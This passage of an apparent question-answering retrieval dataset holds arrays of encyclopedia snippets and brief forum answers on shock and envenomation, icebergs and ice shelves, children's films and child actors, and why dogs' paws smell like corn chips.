anxiety, nausea and vomiting, hemorrhaging, perspiration, and (rarely) heart failure. Local pain following envenomation is often intense, increasing with the ensuing edema. Children generally experience more severe symptoms because they receive a larger amount of venom per unit of body mass. Antivenin Antivenin, often referred to as antivenom, is commonly used to treat the effects of local and systemic pit viper envenomations. The first step in the production of crotaline antivenin is collecting (\"milking\") the venom of a live rattlesnake—usually from the western diamondback (Crotalus atrox), eastern diamondback (Crotalus adamanteus), South American rattlesnake", "Other causes of cardiogenic shock include dysrhythmias, cardiomyopathy/myocarditis, congestive heart failure (CHF), contusio cordis, or valvular heart disease problems. Pathophysiology There are four stages of shock. As it is a complex and continuous condition there is no sudden transition from one stage to the next. At a cellular level, shock is the process of oxygen demand becoming greater than oxygen supply.\nOne of the key dangers of shock is that it progresses by a positive feedback mechanism. Poor blood supply leads to cellular damage, which results in an inflammatory response to increase blood flow to the affected area. This is normally", "may also develop seizures. Weakness of other muscles, such as the heart (a condition known as cardiomyopathy) and the muscle that separates the abdomen from the chest cavity (the diaphragm) can also occur in triosephosphate isomerase deficiency. Diaphragm weakness can cause breathing problems and ultimately leads to respiratory failure. Individuals with triosephosphate isomerase deficiency are at increased risk of developing infections because they have poorly functioning white blood cells. These immune system cells normally recognize and attack foreign invaders, such as viruses and bacteria, to prevent infection. The most common infections in people with triosephosphate isomerase deficiency are bacterial infections", "take a role in vasodilatory shock. Pathophysiology In case of cardiogenic shock or acute hemorrhagic shock resulted from heart failure or from a large volume of blood loss, respectively, body deals with which by constricting peripheral vessels for the sake of reversing low arterial pressure that causes inadequate tissue perfusion. Nevertheless, in vasodilatory shock, peripheral vascular smooth muscle finds it difficult to constrict. In refractory vasodilatory shock, peripheral vascular smooth muscle even finds itself poorly respond to therapy with vasopressor drugs.\nVasopressin deficiency may play an important role in vasodilatory shock. In refractory vasodilatory shock, the patient have both vasopressin secretion", "be effective in reducing the symptoms and recurrence of the syndrome.\nBenzodiazepines can be prescribed to reduce stress that provokes hyperventilation syndrome. Selective serotonin reuptake inhibitors (SSRIs) can reduce the severity and frequency of hyperventilation episodes. History The original traditional treatment of breathing into a paper bag to control psychologically based hyperventilation syndrome (which is now almost universally known and often shown in movies and TV dramas) was invented by New York City physician (later radiologist), Alexander Winter, M.D. [1908-1978], based on his experiences in the U.S. Army Medical Corps during World War II and published in the Journal of the", "dizziness, weakness or fainting. Usually this failure of compensation is due to diseases or drugs that affect the sympathetic nervous system. A similar effect is observed following the experience of excessive gravitational forces (G-loading), such as routinely experienced by aerobatic or combat pilots 'pulling Gs' where the extreme hydrostatic pressures exceed the ability of the body's compensatory mechanisms. Fluctuating blood pressure Normal fluctuation in blood pressure is adaptive and necessary. Fluctuations in pressure that are significantly greater than the norm are associated with greater white matter hyperintensity, a finding consistent with reduced local cerebral blood flow and a heightened", "TBI due to blunt trauma is widely thought to be caused by any combination of three possible mechanisms: an increase in pressure within the airways, shearing, and pulling apart. The first type of injury, sometimes called an \"explosive rupture\", may occur when the chest is violently compressed, for example when a driver strikes the steering wheel in a vehicle accident or when the chest is crushed. The pressure in the airways, especially the larger airways (the trachea and bronchi), quickly rises as a result of the compression, because the glottis reflexively closes off the airways. When this pressure exceeds the", "bruises their body internally. Victims of the Slow Death are generally much weaker and slower to react than the AB negs, however some individuals (such as McGruder, Hubble's bodyguard) seem less prone to its debilitating effects.", "helpful to distinguish cardiac failure from other diseases. Cardiac failure manifests a weak contractibility myocardium; treatment with an inotropic drug such as dobutamine may be appropriate. Cause The annual incidence of shock of any etiology is 0.3 to 0.7 per 1000, with hemorrhagic shock being most common in the intensive care unit. Hypovolemic shock is the most common type of shock in children, most commonly due to diarrheal illness in the developing world. \nHypovolemic shock occurs as a result of either blood loss or extracellular fluid loss. Blood loss Hemorrhagic shock is hypovolemic shock from blood loss. Traumatic injury is", "be implemented. Because the muscles of the larynx are also paralysed, the airway usually needs to be protected by means of an endotracheal tube.\nParalysis is most easily monitored by means of a peripheral nerve stimulator. This device intermittently sends short electrical pulses through the skin over a peripheral nerve while the contraction of a muscle supplied by that nerve is observed. The effects of muscle relaxants are commonly reversed at the end of surgery by anticholinesterase drugs, which are administered in combination with muscarinic anticholinergic drugs to minimize side effects. Novel neuromuscular blockade reversal agents such as sugammadex may also", "due to renal failure.\nAccording to Cheymol et al. (1973), the venom does not affect neuromuscular contractions in in vitro preparations. Lack of this neurotoxic affect would indicate that fatal cases involving the cardiovascular system are the result of direct muscle injury or reduced oxygen exchange. On the other hand, Gonzalez (1991) reported that in two cases the victims developed neurotoxic symptoms, including difficulty in breathing and swallowing, as well as paralysis of the bitten limbs. Gallery A Vipera aspis eating a lizard, Toscana, Italy", "reflex tachycardia (fast heartbeat), hypersensitivity reactions, as well as thrombocytopenia (low blood platelet count) in rare cases. Interactions The blood pressure lowering effect of molsidomine can be amplified significantly by PDE5 inhibitors, potentially leading to fainting or myocardial infarction, and to a lesser extent by other antihypertensive drugs such as beta blockers, calcium channel blockers, or other nitrovasodilators. Ergolines can antagonise the effects of molsidomine. Mechanism of action Molsidomine belongs to the drug class of nitrovasodilators. It releases NO, which acts as a gaseous signaling molecule, relaxing the smooth muscles of blood vessels. Pharmacokinetics The substance is quickly and almost", "Takayasu's arteritis Sign and symptoms Some people develop an initial \"inflammatory phase\" characterized by systemic illness with signs and symptoms of malaise, fever, night sweats, weight loss, joint pain, fatigue, and fainting. Fainting may result from subclavian steal syndrome or carotid sinus hypersensitivity. There is also often anemia and marked elevation of the ESR or C-reactive protein (nonspecific markers of inflammation). The initial \"inflammatory phase\" is often followed by a secondary \"pulseless phase\". The \"pulseless phase\" is characterized by vascular insufficiency from intimal narrowing of the vessels manifesting as arm or leg claudication, renal artery stenosis causing hypertension, and neurological", "feet, and may therefore fail to prevent infection or repeated injury. Further, diabetes causes immune compromise and damage to small blood vessels, preventing adequate oxygenation of tissue, which can cause chronic wounds. Pressure also plays a role in the formation of diabetic ulcers. Pressure ulcers Another leading type of chronic wounds is pressure ulcers, which usually occur in people with conditions such as paralysis that inhibit movement of body parts that are commonly subjected to pressure such as the heels, shoulder blades, and sacrum. Pressure ulcers are caused by ischemia that occurs when pressure on the tissue is", "venous return from venous pooling (vascular) shock. Fainting can occur but usually baroreceptors within the aortic sinuses initiate a baroreflex such that angiotensin II and norepinephrine stimulate vasoconstriction and heart rate increases to return blood flow. Neurogenic and hypovolaemic shock can also cause fainting. In these cases, the smooth muscles surrounding the veins become slack and the veins fill with the majority of the blood in the body, keeping blood away from the brain and causing unconsciousness. Jet pilots wear pressurized suits to help maintain their venous return and blood pressure.\nThe arteries are perceived as carrying oxygenated blood to" ]

[ "[Sometimes they do](_URL_0_). It all depends on where the center of mass is in relation to the centre of pressure. If the centre of mass is below the center of pressure, the iceberg is stable and won't flip. As the ice on the surface melts, the centre of mass rises, and eventually it becomes unstable and flips over." ]

[ "it will eventually sink. It is possible that the methane ice could float for a time as it probably contains bubbles of nitrogen gas from Titan's atmosphere. Temperatures close to the freezing point of methane (90.4 Kelvins/-296.95 F) could lead to both floating and sinking ice - that is, a hydrocarbon ice crust above the liquid and blocks of hydrocarbon ice on the bottom of the lake bed. The ice is predicted to rise to the surface again at the onset of spring before melting. Since 2014, Cassini has detected transient features in scattered patches in Kraken Mare, Ligeia Mare", "melting of floating ice shelves will not raise sea levels, technically, there is a small effect because sea water is ~2.6% more dense than fresh water combined with the fact that ice shelves are overwhelmingly \"fresh\" (having virtually no salinity); this causes the volume of the sea water needed to displace a floating ice shelf to be slightly less than the volume of the fresh water contained in the floating ice. Therefore, when a mass of floating ice melts, sea levels will increase; however, this effect is small enough that if all extant sea ice and floating ice shelves were", "closely couple with the ice shelf natural frequencies and they produce a larger amplitude ice shelf movement than the normal ocean swell of gravity waves. Further, they are not damped by sea ice as normal ocean swell is. As a result, they flex floating ice shelves such as the Ross Ice Shelf; this flexure contributes significantly to the breakup on the ice shelf.", "flowing into the remnants of the ice shelf (Flask, Leppard) did not accelerate.\nIce shelves exert a dominant control in Antarctica, but are less important in Greenland, where the ice sheet meets the sea in fjords. Here, melting is the dominant ice removal process, resulting in predominant mass loss occurring towards the edges of the ice sheet, where icebergs are calved in the fjords and surface meltwater runs into the ocean.\nTidal effects are also important; the influence of a 1 m tidal oscillation can be felt as much as 100 km from the sea. On an hour-to-hour basis, surges of ice motion", "60 metres (200 ft) high break loose and crash into the water. The entry of the ice into the water causes large, and often hazardous waves. The waves formed in locations like Johns Hopkins Glacier can be so large that boats cannot approach closer than 3 kilometres (1.9 mi). These events have become major tourist attractions in locations such as Alaska.\nMany glaciers terminate at oceans or freshwater lakes which results naturally with the calving of large numbers of icebergs. Calving of Greenland's glaciers produce 12,000 to 15,000 icebergs each year alone.\nCalving of ice shelves is usually preceded by a rift. These events", "small rafts of ice form around the rocks and the rocks are buoyantly floated off the soft bed, thus reducing the reaction and friction forces at the bed. Since this effect depends on reducing friction, and not on increasing the wind drag, these ice cakes need not have a particularly large surface area if the ice is adequately thick, as the minimal friction allows the rocks to be moved by arbitrarily light winds.\nReinforcing the \"ice raft\" theory, a research study pointed out narrowing trails, occurrence of intermittent spring systems, and absence of rocks at the end of the trails. The", "European Union's Copernicus Program show that the iceberg is splintering, forming more icebergs in the process.\nScientists are looking into the possibility of the ice shelf collapsing as a result of the split with A-68, or whether the iceberg was the \"cork\" for Larsen C that allows ice to flow more freely into the sea, thereby contributing to rising sea levels.\nSince November 2017, satellite images show A-68 is slowly drifting northward, with a widening gap to the main shelf. The gap was approximately five kilometers wide and contained a thin layer of loose, floating ice and a cluster of over 11", "for Larsen C Ice Shelf.\" \nAs is true of all floating ice shelves, A68's departure from Antarctica had no immediate effect on global sea levels. However, a number of glaciers discharge onto the shelf from the land behind it, and they may now flow faster due to reduced support from the ice shelf. If all the ice that the Larsen C shelf currently holds back were to enter the sea, global waters would rise by an estimated 10 cm (4 in). Larsen D The Larsen D Ice Shelf is between Smith Peninsula in the south and Gipps Ice Rise. It is", "on the particles, then they fall down to the ground due to the additional weight of the water coating. When ice at the top of the mantling layer goes back into the atmosphere, it leaves behind dust, which insulates the remaining ice.\nIn 2008, research with the Shallow Radar on the Mars Reconnaissance Orbiter provided strong evidence that the lobate debris aprons (LDA) in Hellas Planitia and in mid northern latitudes are glaciers that are covered with a thin layer of rocks. Its radar also detected a strong reflection from the top and base of LDAs, meaning that pure water ice", "leaving a depressed \"racetrack\" ring around the shore where meltwater accumulates as well. The ice cover remains bottom-fast until the buoyancy force exceeds the freezing bond. At the latter moment the ice cover abruptly breaks off the bottom to form a flat sheet. In other cases the anchor ice becomes completely submerged into the meltwater and holes may be melted throughout the ice sheet. When the sheet finally lifts off the bottom, the meltwater accumulated at the surface is jetted through these holes with enough force to create small craters in the lake bottom where it is soft (sand", "pushed back even further and this self-reinforcing mechanism is the cause of the instability. Ice sheets of this type have accelerated ice sheet retreat.\nStrictly speaking the MISI theory is only valid if the ice shelves are free floating and not constrained in an embayment.\nThe initial perturbation or push-back of the grounding line might be caused by high water temperatures at the base of ice shelves so that melt increases (basal melt). The thinned ice shelves which stabilize the ice sheet, exert less of an buttressing effect (back stress). Marine Ice Cliff Instability A related process known as Marine Ice Cliff", "vessel. Their stern was similarly shaped to facilitate breaking ice while backing down. The sides of the icebreaker were rounded, with marked tumblehome, that enabled the ship to break free from ice by heeling from side to side. Such heeling was accomplished by shifting water rapidly from wing tanks on one side of the ship to the other. A total of 220 tons of water could be shifted from one side to the other in as little as 90 seconds, which induced a list of 10 degrees. Ballast could also be shifted rapidly between fore and", "the ice moved against her stern, the aft part of the ship was lifted up and the damaged sternpost and the rudder were torn away. This angle caused all the water in the ship to run forward, collecting in the bow where it then began to freeze. The action of the ice in the stern and the excessive weight in the bow caused the ship to sink into the ice bow first. Under its own pressure, the ice then broke over the forecastle and piled up onto the deck in the forward part of the ship, further weighing this end", "currents, which can move and rotate very large areas of ice. Zones of compression also arise, where the ice piles up to form pack ice.\nIcebergs occasionally break away from northern Ellesmere Island, and icebergs are formed from glaciers in western Greenland and extreme northeastern Canada. Icebergs are not sea ice but may becoming embedded in the pack ice. Icebergs pose a hazard to ships, of which the Titanic is one of the most famous. The ocean is virtually icelocked from October to June, and the superstructure of ships are subject to icing from October to May. Before the advent of", "the rate of flow. \nIce shelves are thick layers of ice floating on the sea – can stabilise the glaciers that feed them. These tend to have accumulation on their tops, may experience melting on their bases, and calve icebergs at their periphery. The catastrophic collapse of the Larsen B ice shelf in the space of three weeks during February 2002 yielded some unexpected observations. The glaciers that had fed the ice sheet (Crane, Jorum, Green, Hektoria – see image) increased substantially in velocity. This cannot have been due to seasonal variability, as glaciers", "the ice loses its salinity (as a result of brine drainage). This is known as an aged ridge. A consolidated ridge is one whose base has undergone complete freezing. The term consolidated layer is used to designate freezing up of the rubble just below the water line. The existence of a consolidated layer depends on air temperature — in this layer, the water between individual blocks is frozen, with a resulting reduction in porosity and an increase in mechanical strength. A keel's depth of an ice ridge is much higher than its sail's height - typically about four times. The", "ice and icicles. The reason is that they all form from freshwater (non saline water). Ice sheets, ice caps and glaciers essentially consist of glacial ice. Since glacial ice spreads sideways and down-slope (as a result of gravity), in some areas this ice reaches the coastline. Where this happens, depending on topography, the ice may break up into pieces that fall in the sea, a mechanism called ice calving, and drift away. Alternatively, ice sheets may spread offshore into extensive floating ice platforms called ice shelves, which can ultimately also calve. The features produced by these calving processes are known", "marine ice sheet instability describes the inherent precarious nature of marine ice sheets due to Archimedes' principle. Because seawater is denser than ice, marine ice sheets can only remain stable where the ice is thick enough for its mass to exceed the mass of the seawater displaced by the ice. In other words, wherever ice exists below sea level, it is held in place only by the weight of overlying ice. As a marine ice sheet melts, the weight of the overlying ice decreases. If melt causes thinning beyond a critical threshold, the subaerial ice may no longer be heavy", "as icebergs and may range in size from meter to kilometer scale. The very large ones, referred to as ice islands, are typically tabular in shape. These may be responsible for extreme gouging events. Sea ice Sea ice is the outcome of freezing seawater. It is porous and mechanically weaker than glacial ice. Sea ice dynamics are highly complex. Driven by winds and currents, sea ice may ultimately develop into pressure ridges, a pile-up of ice fragments, or rubble, making up long, linear features. These are a very common source of seabed gouges. Pressure ridges are often enclosed inside expanses", "Ice floe An ice floe or ice float is a large pack of floating ice often defined as a flat piece at least 20 m across at its widest point, and up to more than 10 km across. Drift ice is a floating field of sea ice composed of several ice floes. They may cause ice jams on freshwater rivers, and in the open ocean may damage the hulls of ships.", "significantly reducing flow or stopping turbines completely.\nAnother form of anchor ice may be observed at the mouths of Arctic rivers where fresh water seeps out of the river bed into the ocean up through the sediment. Anchor ice forms if the seawater is below the freezing point of the river water. In lakes Shallow tundra lakes may feature anchor ice with a specific behavior. Lakes in the southwestern part of Nunavut, Canada typically freeze down to the bottom when the water level is low. On some cases spring meltwater flows into the lake under the ice cover, which becomes domed", "will navigate through Ice include the Saint Lawrence Seaway, around Greenland and the Canadian coast, the North Atlantic during iceberg season and through the Northwest Passage. Icing of superstructure The accumulation of ice on the superstructure is a dangerous phenomenon. When the temperature is below −2.2 °C (28.0 °F) slight icing will occur at winds of 5 Bft, moderate icing at 7 Bft, and severe icing at 8 Bft. When sailing in fresh water, icing will occur from 0 °C (32 °F) and below. The more common causes of ice formation on the superstructure are from spray by wave crests and ship-generated spray. Other", "ice shelves are shrinking. They found high rates of iceberg calving from Antarctic ice shelves that are undergoing basal melt-induced thinning, which suggests the fate of ice shelves may be more sensitive to ocean forcing than was previously thought.", "Jumble ice Jumble ice is a phenomenon that occurs when ice atop a river or other flowing body of water fractures due to the different flow rates beneath the ice. On a lake, pond, or other stationary body of water, ice forms undisturbed and generally does not move as long as the entire surface of the body of water is frozen. When a river freezes, water flow typically continues beneath the ice, exerting pressure on it. If the ice fractures, pieces of ice torn free by the river's current will collide with stationary or slower-moving pieces. After becoming stuck in", "the ocean is supercooled to slightly below the freezing point, at which time tiny ice platelets (frazil ice) form. With time, this process leads to a mushy surface layer, known as grease ice. Frazil ice formation may also be started by snowfall, rather than supercooling. Waves and wind then act to compress these ice particles into larger plates, of several meters in diameter, called pancake ice. These float on the ocean surface, and collide with one another, forming upturned edges. In time, the pancake ice plates may themselves be rafted over one another or frozen together into a more solid", "to melt, the corresponding sea level rise is estimated to be ~4 cm.\nMuch more importantly, if and when these ice shelves melt sufficiently, and cease to grip on the small islands and another obstacle of the former grounding line, they will no longer impede glacier flow off the continent, so that glacier flow will accelerate. This new source of ice volume flows down from above sea level, displacing sea water and so contributing to sea level rise.", "orbit and tilt cause significant changes in the distribution of water ice from polar regions down to latitudes equivalent to Texas. During certain climate periods water vapor leaves polar ice and enters the atmosphere. The water comes back to ground at lower latitudes as deposits of frost or snow mixed generously with dust. The atmosphere of Mars contains a great deal of fine dust particles. Water vapor will condense on the particles, then fall down to the ground due to the additional weight of the water coating. When Mars is at its greatest tilt or obliquity, up to 2 cm of", "iceberg threatening the ship, Schuman reported that water was coming in and the pumps could not keep up. Budington ordered cargo to be thrown onto the ice to buoy the ship. Men began throwing goods overboard, as Tyson put it, \"with no care taken as to how or where these things were thrown.\" Much of the jettisoned cargo was lost.\nA number of the crew were out on the surrounding ice during the night when a break-up of the pack occurred. When morning came, the group, consisting of Tyson, Meyer, six of the seamen, the cook, the steward, and all of", "strong enough to melt the ice if some antifreeze like ammonia (in the form of ammonia hydrate) or salt was present. Further melting may have led to the separation of ice from rocks and formation of a rocky core surrounded by an icy mantle. A layer of liquid water (ocean) rich in dissolved ammonia may have formed at the core–mantle boundary. The eutectic temperature of this mixture is 176 K (−97 °C). If the temperature dropped below this value, the ocean would have subsequently frozen. The freezing of the water would have caused the interior to expand, which may have been responsible", "water flowing onto the surface of a given sea ice expanse, which eventually drains away through cracks, seal breathing holes, etc. The resulting turbulence is strong enough to carve a depression into the seabed. Seabed scouring by ice should also be distinguished from another scouring mechanism: the erosion of the sediments around a structure due to water currents, a well known issue in ocean engineering and river hydraulics – see bridge scour. Historical perspective and relevance It appears Charles Darwin speculated in 1855 about the possibility that icebergs could gouge the seabed as they drifted across isobaths. Some discussion on" ]

[ "Working with child actors is very troublesome and expensive. There are strict limits on the amount of hours worked per day, for example, and the children still have to keep up with required education. Considering the modern appeal of animated films, it is easier to make an animated film with adult voice actors." ]

[ "Aced Magazine generally praised the film, remarking that the strangely animated characters would be appreciated by the target audience of small children. They also advised that since the adventure \"gets a little rough\" for youngsters, they that parents watch the film their children.", "the Motion Picture Association of America. Burger King executives claimed this caught the company by surprise and they were led to believe the film would receive no higher than a PG rating. While the pamphlet accompanying the toys included the disclaimer \"While toys are suitable for children of all ages, the movie Small Soldiers may contain material that is inappropriate for younger children,\" some restaurants accepted an exchange for Mr. Potato Head toys. Cancelled Remake A remake of Small Soldiers was in development by 20th Century Fox called Toymageddon. The script was purchased in January 2014, and director Justin Lin", "being children movie which are not common in Pakistan.\nMaleeha Mengal from Dunya News noted that the movie would \"remain one of the most memorable stories for children for many years\". It was also well received because producing animated movies is harder and costly. Accolades The film won the prestigious Monolith Award for Content at the Infinity Film Festival at Hollywood. It was also screened at South Asian International Film Festival (SAIFF) at New York, where it received Best Feature Film in the Audience Choice category.", "small children it will be a very good one, but it's closer to average than one would wish from the company that gave us Up, WALL-E, The Incredibles, and the Toy Story series.\" Rene Rodriguez of Miami Herald gave the film two stars out of five and wrote that it \"feels half-hearted and lazy, like they weren't even trying. At least show a little effort, guys.\"", "casting in the films The Great Wall (2016) and Ghost in the Shell (2017), respectively. Hafford continued, \"if literal children can be great in a scene from Mulan, why can't movie studios give roles to, like, adults?\"", "prove popular with parents of young children.\nTime stated that direct to video no longer means \"not good enough for theaters\" where children's films are concerned and noted that Blue's Big Musical Movie spun the popular children's television series into a \"full-length extravaganza\".\nIn Doug Pratt's DVD: Movies, Television, Music, Art, Adult, and More!, author Pratt observes that even though designed for toddlers, Steven Burns, as the only human in the cast, delivered a \"remarkable and consistent performance\" while speaking directly to the camera in addressing his young viewers, speaking slowly and clearly without being condescending or patronizing.\nReview Corner wrote that the", "some parents to remove their children from theatres before the movie was finished, as many deemed the film's content to be inappropriate for young children. (For example: The main female lead, Becky, was nearly raped at the film's midway point, and there was considerably more violence throughout the film than in the TV series, such as the president being shot in the head on-screen and a man being shown crushed under a car with blood splattered out from underneath.)\nIn other territories such as Argentina and Belgium, it ran successfully in cinemas and had a VHS release in Spanish (by International", "primarily at children. However, there were a number of attempts to challenge this perception during the late 1960s and 1970s with ambitious (and often controversial) animated projects that were not for children. Disney In the 1960s, Walt Disney's current animated films (One Hundred and One Dalmatians, The Sword in the Stone, the live-action/animated combo Mary Poppins, and The Jungle Book) generated hefty revenue for the studio, as did the regular reissues of earlier animated films. Poppins, in particular, won five Academy Awards (and received with the studio's first Best Picture nomination) and topped the 1964 box office charts while launching", "be produced quickly, as the children do not age much throughout the book series.\nIn 2008, Daniel Handler stated in a Bookslut Interview that another film was in the works, but had been delayed by corporate shake-ups at Paramount Pictures. In June 2009, Silberling confirmed he still talked about the project with Handler, and suggested the sequel be a stop motion film because the lead actors have grown too old. \"In an odd way, the best thing you could do is actually have Lemony Snicket say to the audience, 'Okay, we pawned the first film off as a mere dramatization with", "to recommend it.\"\nShe Scribes said, \"This is a straight-to-DVD type of movie, and for good reason. It's very slow and rather corny. That doesn't mean it's a bad movie, it just means that it would never have made it in theaters.... Younger family members might find more enjoyment with this film, especially when it comes to the high tech gadgets the kids use, pro (?) wrestling and friendship.\"\nGame Vortex said, \"As in a lot of these kid-focused films, the acting is really overdone, from the adults on down to the children.... And, of course, you can't get more over the", "kids will love it for sure.\" \"Clever and cloying by turns, it's a movie that always seems to be trying to evolve beyond its conventional trappings, and not succeeding as often as Pixar devotees have come to expect,\" wrote Justin Chang of Variety. Many of the reviewers praised the sophistication of its nearly photorealistic backgrounds.\nChristopher Orr of The Atlantic felt it to be the studio's first film explicitly targeted towards children, though it is \"by no means a bad movie […] It's a simple story, well-told.\" Mark Feeney, writing for The Boston Globe, felt similarly, deeming it a \"very middling", "children, who may go to only a couple of movies per year but who will watch many videos multiple times. The teens and young adults who drive blockbuster box office statistics stay away from family movies.\nSome horror films that are unsuccessful in theaters, like Witchcraft, begin successful direct-to-video franchises. Studios may also release sequels or spin-offs to a successful live action film straight to DVD, due to a lack of budget in comparison to the original. An example is the Behind Enemy Lines series of films. Pornography During the Golden Age of Porn in the 1970s, many pornographic films were", "create an animated movie that adults can watch, with decent content \"for children\" which director Hayao Miyazaki has, it will be a hit for sure.' The pilot version was also created under that consensus unconsciously. However, I figured it's not good to do so, and my movie making started from completely denying that consensus. Of course, if we had created this movie with the concept of the world similar to the pilot version, it would've had a balanced and stable style, and not only for staff, but also for sponsors, motion picture companies, and the media...it would have been easier", "of the stiffer animation of other CD-ROM games for kids\", though felt a missed opportunity for \"imaginative interaction\" was for players to create custom toys from parts like Sid. El Paso Times wrote that Toy Story \"delivers almost everything that made the movie special\". Entertainment Weekly praised the animation, noting \"the sequences...(which so closely mirror those in the film) have an immediate, you-are-there quality\", in comparison to other video game adaptions of movies which \"present scenes from the original flick in a truncated, non-interactive manner that can be mildly off-putting for both kids and adults\". WorldVillage agreed that Toy Story", "Children's film A children's film, or family film, is a film genre that contains children or relates to them in the context of home and family. Children's films are made specifically for children and not necessarily for the general audience, while family films are made for a wider appeal with a general audience in mind. Children's films come in several major genres like realism, fantasy, adventure, war, musicals, comedy, and literary adaptations. Psychological aspects Children are born with certain innate biological dispositions as a product of long evolutionary history. This provides an underlying biological framework for what may fascinate a", "been used forever and should be given a rest.\"\nThe Washington Post called it \"a kid's film made without condescension\", while The New York Times said \"visually the movie has a smooth-flowing momentum and a lush storybook opulence\". TimeOut said the film had \"a winning combination of inventive characters, amusing dialogue, excellent voice-overs, likeable tune and first-rate animation\". Deseret News wrote it is \"a wonder of the movie industry...a funny, occasionally thrilling animated feature aimed at kids, but with a sophisticated sensibility intended to reach their parents as well.\" Halliwell's Film Guide called it an \"odd fantasy of pots and", "\"a very engaging children's movie ... that will also interest adults\".", "at the Top. Production Young Toys came up with the idea of developing an animated series and related toys during the early 2000s. While Transformers and Power Rangers are popular among older elementary school children, Young Toys decided to Tobot to younger primary school children and kindergarteners. Rather than obtain licenses from animation studios after production, Young Toys did the opposite by developing the animated series and characters from scratch before producing the toys. Marketing Between August and October 2014, Young Toys sold the licenses for the Tobot toys and characters to Southeast Asian nations. The series was made available", "of the film made it so that the film was \"anything but cheap\".\nAdditional graphic violence was added in the remake. The children cause one adult to kill herself by stabbing herself with a scalpel and another adult to immolate herself.\n\"It was fun to do a drama like Village, as opposed to In The Mouth of Madness, which had a little edge to it,\" said Carpenter. \"This is more straight. This is more a baby-boomer, middle-class kind of a movie. There's nothing wrong with that; I just hadn't done one of those in a long time. If you make a movie", "was entertaining and educational without being didactic, as well as \"wholesome and life-affirming\". Personal Computer Magazine felt the titles would delight fans of the films, but that parents would not be pleased with their lack of educational content. Austin Chronicle appreciated the highlighted words to help children expand their vocabulary. A pilot study at the University of Arizona, Goldstein (1994) found that \"children, allowed to use animated storybooks on their own, never interacted with the reading component at all, only with the animated pictures\". Scholastic Early Childhood Today liked the \"interactive theaurus\" as seen in such titles as 101 Dalmatians.\nSuperKids", "people working on the film tried to keep it from being frightening to children, the task was difficult. She said that the film was not intended for home viewing and that only well-informed adults trained in the subject should present it to children.\nIn April 1986, Harris met with Western Australia Police officials and members of several state-government departments in Mount Hawthorn to propose another film for children about how to handle sexual predators. Despite Harris' offer to work for free, the officials declined and instead developed a broader campaign on the subject without Harris. Release Kids Can Say No! was", "work on films of all sorts of genres. Regarding the switch from comedy-drama The Kids Are All Right to the Journey sequel, he stated: \"For me, I like to do all different types of films and to go from having that awesome [indie] kind of thing that I love doing so much with great characters and a really great script to a bigger kind of studio film, to just cover the whole kind of spectrum of movies is really, really cool.\" Although the film was largely panned, it fared well commercially and his performance was well received, with Kofi Outlaw", "the film three stars out of four.\nSome critics have noted the movie's dark adaptation for children, such as David Denby from The New Yorker saying, \"I have a vision of eight-year-olds leaving the movie in bewilderment. Why are the creatures so unhappy?\" Stephanie Zacharek of Salon.com criticized the film's visual aspect, \"Even the look of the picture becomes tiresome after a while — it starts to seem depressive and shaggy and tired.\" She also stated that \"The movie is so loaded with adult ideas about childhood — as opposed to things that might delight or engage an actual child.\" The Globe and", "a comedy, envisioning a dark, adult satire of the then-popular trend in films where cute kids teach cynical adults how to love, as seen in Baby Boom, Parenthood (directly spoofed by the film's poster), Look Who's Talking, Uncle Buck, Mr. Mom, Kindergarten Cop and Three Men and a Baby. However, the studio insisted upon turning it into a children's film, a conversion which necessitated numerous reshoots and rewrites, leading to a difficult production that left all involved disappointed and anticipating a box office failure. It defied these expectations, becoming a surprise hit and Universal's most profitable film of 1990 but", "Child actor Regulation In the United States, the activities of child actors are regulated by the governing labor union, if any, and state laws. Some projects film in remote locations specifically to evade regulations intended to protect the child. Longer work hours or risky stunts prohibited by California, for example, might be permitted to a project filming in British Columbia. US federal law \"specifically exempted minors working in the Entertainment Business from all provisions of the Child Labor Laws.\" Any regulation of child actors is governed by disparate state laws. California Due to the large presence of the entertainment industry", "the place\" and having \"a multitude of underdeveloped, crammed-in characters\" while also praising the film for retaining the Friendship Is Magic television series cast and staff. Josh Terry of Deseret News panned the film, saying that parents should \"put their money into some new My Little Pony toys\" rather than into seeing the film.\nGwen Ihnat of The A.V. Club gave the film a \"C\" grade, favoring the improved animation over the television series but adding that \"you have to wonder to what use it's being put\". Conversely, Elizabeth Weitzman of TheWrap wrote positively of the film, saying that the film,", "going to be a sequel, we're not getting any younger.\" Since we play sort of ageless animated characters. Hopefully we do. That was something really special and I'd love to come back and do another. I've heard the same things you've heard. There's a script out there somewhere and there's talk of it, but I never believe it until I see the script and learned we're making that film. So I don't know. Too many eggs in that basket.\nAs of July 2014, Disney had hired screenwriters J. David Stem and David N. Weiss to write a script for a sequel and", "children though these were not commercially successful and they were literary adaptations nonetheless. These include ...And Now Miguel (1966), Doctor Dolittle (1967), and The Learning Tree (1969). Other family/children films of the decade include Pollyanna (1960), Swiss Family Robinson (1960), In Search of the Castaways (1962), The Sword in the Stone (1963), That Darn Cat! (1965), Up the Down Staircase (1967), To Sir, With Love (1967), Yours, Mine and Ours (1968), and The Parent Trap (1961).\nChildren's films in the 1970s from the United States include animated films such as The Aristocats (1970), Charlotte's Web (1973), Robin Hood, The Rescuers (1977),", "Transformers, My Little Pony 'n Friends, He-Man, She-Ra: Princess of Power, Jem and the Holograms, Thundercats, and Care Bears. There were even cartoons based on Pac-Man video games and the Rubik's Cube. Some of them even inspired feature films. While many of them were successful with children, shows like these were accused of being glorified toy commercials by parents' groups such as Action for Children's Television. These groups also objected to the level of violence in many of these shows. ACT's efforts to curb these trends resulted in the Children's Television Act, enacted in 1990 and strictly enforced by the", "wrote in The New Yorker: \"It's certainly far more successful than was last year's Alice in Wonderland, and the children will probably be far less bored by it than they generally are by those films designed especially for them\". Film Daily called it \"delightful musical fantasy\" and \"dandy entertainment\". The Chicago Tribune review read: \"It's been many a long day since I've had so much pure (and I MEAN pure!) fun as I had watching this picture\".\nBabes in Toyland, one of many feature films with Stan Laurel and Oliver Hardy, was also popular at the box office. However, many years" ]

[ "> I have had dogs all my life and their paws always smell like the cool ranch Doritos or Fritos. \n\nDon't question it, just enjoy it!\n\nSeriously though, they sweat through their paws... that's their BO you are smelling. _URL_0_" ]

